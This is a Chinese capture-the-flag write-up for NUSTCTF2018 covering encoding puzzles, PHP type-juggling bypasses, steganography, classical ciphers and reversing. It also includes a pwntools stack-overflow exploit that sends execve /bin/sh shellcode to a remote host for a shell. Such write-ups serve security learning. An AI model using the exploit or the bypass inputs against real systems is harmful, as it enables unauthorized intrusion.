NUSTCTF2018 WriteUp

善良单纯的小阿板
创建时间: 2018年3月18日 庆丰六年
最后编辑: 2018年3月18日 6 年前
## 签到

http://120.79.189.18/

签到题描述:bottom right corner and say hello to her

TlVTVHtBcnQxRmlDMWFsX0lkaTB0fQ==

签到

NUST{Art1FiC1al_Idi0t}

(嘤嘤嘤 大师傅真可爱,想****

qrcode

二维码看起来不对,emmm,直接ps里反色

得到

03F30D0AC9F7AB5A630000000000000000010000004000000073140000006400008400005A00006500008300000164010053280200000063000000000300000014000000430000007372000000640100640200640300640400640500640600640700640800640800640900640A00640B00640C00640D00640E00640A00640F006410006411006412006714007D00006413007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100714F00577C010047486400005328140000004E6941000000694800000069460000006947000000697B000000694A00000069340000006961000000694E000000695F0000006953000000696800000069700000006958000000695A0000006933000000693F000000697D00000074000000002801000000740300000063687228030000007406000000737472696E677404000000666C6167740100000069280000000028000000007307000000666C61672E7079520300000001000000733000000000020301030103010301030103010301030103010301030103010301030103010301030103010301090106010D0114024E280100000052030000002800000000280000000028000000007307000000666C61672E707974080000003C6D6F64756C653E010000007302000000091D

emmmm....

转文字的话发现有flag.pyR,flag.pytpy字样,直接作为二进制数据写到文件,file得到

$ file code.pyc
code.pyc: python 2.7 byte-compiled

都不用开kali,网上找一个在线的pyc反编译,得到

#!/usr/bin/env python

def flag():
    string = [
        65,
        72,
        70,
        71,
        123,
        74,
        52,
        97,
        97,
        78,
        95,
        83,
        104,
        112,
        88,
        95,
        90,
        51,
        63,
        125]
    flag = ''
    for i in string:
        flag += chr(i)
    
    print flag

flag()

运行得到

AHFG{J4aaN_ShpX_Z3?}

这就很舒服了

echo str_rot13('AHFG{J4aaN_ShpX_Z3?}');

得到

NUST{W4nnA_FucK_M3?}

postcard

直接post了一个card

得到

NUST{Ju5t_p0st_c4Rd}

PHP Audit

http://59.110.216.146:2334/audit/audit.php

查看源码发现

Hello, little Hacker~ Do you want the flag?<br><!-- $k1 = $_GET['key1'];$k2 = $_GET['key2'];if (file_get_contents($k1) === "Hello hacker!") {echo 'welcome! Hacker!<br>';} -->

其中的php

$k1 = $_GET['key1'];
$k2 = $_GET['key2'];
if (file_get_contents($k1) === "Hello hacker!") {
    echo 'welcome! Hacker!<br>';
}

看到三等,直接想到只有php://input

又得到

Hello, little Hacker~ Do you want the flag?<br><!-- $k1 = $_GET['key1'];$k2 = $_GET['key2'];if (file_get_contents($k1) === "Hello hacker!") {echo 'welcome! Hacker!<br>';} -->welcome! Hacker!<br><!-- if (md5($k2) > 666666 * 666666) {include('ctf.php');} --><br>

剥离

if ( md5($k2) > 666666 * 666666) {
    include('ctf.php');
}

直接写个php的jo本,不比大师傅删除py啊

$k2 = 1;
$re = false;
while(!$re){
    $re = md5($k2) > 666666 * 666666;
    $k2++;
    echo $k2 . ' ';
}
var_dump($re);

竟然26就可以了.....

又得到

$k3 = $_GET['key3'];
$k4 = $_GET['key4'];
if (intval($k3) < 666) {
    if ($k3 == 666) {
        echo 'Come on, flag is coming<br>';
        if ($k4 > 0) {
            if (intval($k3 + $k4) < 666)
            echo $flag;
        }
    }
}

在这里浪费的时间还是很长的,直到最后的溢出hint,之前太想怎么小了....没有想怎么大...

而且就是还有个坑,在我本机的x64的php7.2上,精度是不会损失的....只能找了个在线的php5.6在线运行来测试,利用精度丢失构造key3=0.00000000000000000000000000000000666e35,利用大数溢出构造key4=99999999999999999999999999999999999999999999

得到

Hello, little Hacker~ Do you want the flag?<br><!-- $k1 = $_GET['key1'];$k2 = $_GET['key2'];if (file_get_contents($k1) === "Hello hacker!") {echo 'welcome! Hacker!<br>';} -->welcome! Hacker!<br><!-- if (md5($k2) > 666666 * 666666) {include('ctf.php');} --><br>Come on, flag is coming<br>NUST{PhP_1S_fUCk1ng_FuN}<!-- $k3 = $_GET['key3'];$k4 = $_GET['key4'];if (intval($k3) < 666) {if ($k3 == 666) {echo 'Come on, flag is coming<br>';if ($k4 > 0) {if (intval($k3 + $k4) < 666)echo $flag;}}} -->

NUST{PhP_1S_fUCk1ng_FuN}

flag.gif

这道题陆师傅说,xman的个人赛见过,就去查 writeup ,确实相似,直接convert flag.gif flag.png导出帧率,然后现成jo本(还是修改了一下的)跑起来

import os
from PIL import Image

flag = ''
for i in range(0,91):
    im = Image.open('{}.jpg'.format(i))
    pix = im.load()
    if pix[0,0][0] == 255:
        flag += '1'
    else:
        flag += '0'
print flag

因为一开始的图片是有错的,如果是后来的正确的会得到结果

$ python27x64.exe flag.gif.py
1001110101010110100111010100111101110001101110101100111010111111100111110100110001101111101

有 hint 是 ASCII,因为怕前导0,直接手解,

1001110 N
1010101 U
1010011 S
1010100 T
1111011 {
1000110 F
1110101 u
1001110 N
1011111 _
1100111 g
1101001 i
1000110 F
1111101 }

NUST{FuN_giF}

Classical Enc

陆师傅直接丢到https://quipqiup.com/

A ?uic? brown fo? ?ump over the la?y dog.补全字典Y=A oycr=lazy iwu=dog btlhm=quick gswzd=brown vwq=fox kxe=the wfes=over ntpa=jump

得到

In cryptography, a classical cipher is a type of cipher that was used historically but now has fallen, for the most part, into disuse. In contrast to modern cryptographic algorithms, most classical ciphers can be practically computed and solved by hand. However, OVTU|fBtz`dM5tT2d5m`DjqiFS~ they are also usually very simple to break with modern technology. The term includes the simple systems used since Greek and Roman times, the elaborate Renaissance ciphers, World War II cryptography such as the Enigma machine and beyond. A quick brown fox jump over the lazy dog.

OVTU|fBtz`dM5tT2d5m`DjqiFS~ 很显眼,凯撒1得到

ened = 'OVTU|fBtz`dM5tT2d5m`DjqiFS~'
ened = ened.split('')

re = ened.map(re => {
    return re.charCodeAt()
})

re = re.map(re => {
    re--
    return re 
})

re = re.map(re => {
    return String.fromCharCode(re)
})

console.log(re.join(''))

NUST{eAsy_cL4sS1c4l_CiphER}

Mengxin3Lian

这道题做过,直接丢到https://github.com/chishaxie/BlindWaterMark

得到

NUST{G0od_EyeSight}

pwn1:babystack

既然是一个 babystack,那也无外乎栈溢出什么的。。

只能说好久没做 pwn 了。。卡了好一会,我居然想泄露 plt 表。

它打印出了 s 的地址,我们可以通过 s 的地址构造 payload ,实现栈溢出。

在 IDA 中观察到 s 离 eip 的地址为 $$12h+4=22$$ ,再加上刚刚泄露的地址;

我选了 https://www.exploit-db.com/exploits/43716/ 的 shellcode。

构造 payload 如下:

# from zio import *
from pwn import *
from time import *

p = remote('35.201.255.209', 1000)
#p = process("./binary")

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'


data = p.recvuntil("\n")
print(str(data))
address1 = int(str(data)[:-1],16)
payload = 'a'*22 + p32(address1) + shellcode
p.sendline(payload)
p.interactive()

非常神奇的是有的时候好使有的时候不好使。。结果如下:

re1:Base64Encode

拖入 IDA 中,查看代码,是要比较这个字符串:

tLvtvhTcnduZnJrFmxnFrxPFmL9nmgrPzNL9

直接 decode 是没有回显的,所以要从其他角度观察。

观察题目,既然是 base64encode 那么肯定就是对正常的 base64encode 做了一些操作。既然这样,我们要首先了解一下正常的 base64encode 是怎么操作的。

详细的教程看阮一峰的还是比较合适的:http://www.ruanyifeng.com/blog/2008/06/base64.html

想想作为一道 180 分的题目,base64 编码肯定没有多大改动,肯定是在某些地方做了修改。仔细观察,发现正常的加密的 EncodeChar 是:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

而这道 re 中的却变成了:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN0PQRSTUVWXYZO123456789+/

那么带来的影响是什么呢?

我们直接找一个实现好的代码如下:

# coding:utf-8

def binaryFormat(c):
    b = c.replace('0b', '')
    a = 8 - len(b)
    while a:
        b = "0" + b
        a = a - 1
    return b

def binaryFormatSix(bit):
    lenght = 0
    if len(bit) % 6:
        lenght = (6 - len(bit) % 6) / 2  # 1 代表两个0
    count = lenght
    while count:
        bit = bit + '00'
        count = count - 1
    return bit, lenght

def base64(bit):
    keystr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    bit, count = binaryFormatSix(bit)
    base64str = ""
    for i in range(0, len(bit), 6):
        l = bit[i:i + 6]
        base64str = base64str + keystr[int(l, 2)]
    while count:
        base64str = base64str + '='
        count = count - 1
    return base64str

if __name__ == '__main__':
    text = "QWERTYUIOP123qwwqq"  # 需要Base64编码的文本
    bit = ""  # 存放二进制
    for i in text:
        c = bin(ord(i))
        bit = bit + binaryFormat(c)
    print(base64(bit))

首先运行一下,输出:

UVdFUlRZVUlPUDEyM3F3d3Fx

再将它的 EncodeChar 修改成这道题的,输出如下:

uvDfuLrzvuLpudeYm3f3D3fX

会发现只有大小写发生了变化,而数字没有变化。于是将字符串:

tLvtvhTcnduZnJrFmxnFrxPFmL9nmgrPzNL9

大小写翻转再 decode 即可。

re2:MazeGame

这道题最开始没做,后来有 hint 了就看了一眼。

从 IDA 的逆向中可以分析出一共要走 22 步,在 maze_verify() 函数中进行验证。

进入 maze_verify() 函数,能发现这几个判断对应 wasd,所以我们只要保证他不撞墙就好了。其中,墙的位置是上下左右 0~7 共 8x8 大小的空间,存储在数组 map 中。观察存储在 map 中的值,发现其数组是这样的:

map[8][8]{
    {1, 0, 1, 1, 1, 1, 1, 0},
    {1, 0, 1, 0, 0, 0, 1, 0},
    {1, 1, 1, 0, 1, 0, 1, 0},
    {0, 1, 1, 0, 1, 1, 1, 0},
    {0, 0, 0, 0, 1, 0, 0, 0},
    {0, 0, 0, 0, 1, 1, 1, 0},
    {0, 0, 0, 0, 0, 0, 1, 0},
    {0, 0, 0, 0, 0, 0, 0, 0}
};

虽然我开始还为了没有出口而烦恼,不过尝试几次之后就出答案了。。